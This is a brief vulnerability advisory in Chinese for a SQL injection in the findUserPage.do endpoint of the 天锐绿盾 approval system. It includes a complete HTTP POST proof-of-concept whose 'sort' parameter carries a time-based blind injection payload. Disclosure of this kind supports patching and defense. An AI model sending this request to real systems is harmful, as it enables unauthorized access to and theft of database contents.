天锐绿盾审批系统 findUserPage.do sql注入漏洞

2025-08-21 天锐绿盾审批系统 PoC Public

Description

天锐绿盾审批系统 findUserPage.do 存在sql注入漏洞，攻击者可利用此漏洞获取数据库敏感信息。

PoC

POST /trwfe/user/findUserPage.do HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

userName=&deptId=0&page=1&rows=10&sort=(SELECT * FROM (SELECT(SLEEP(0)))x)

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2025-9967.html

References

Related Vulnerabilities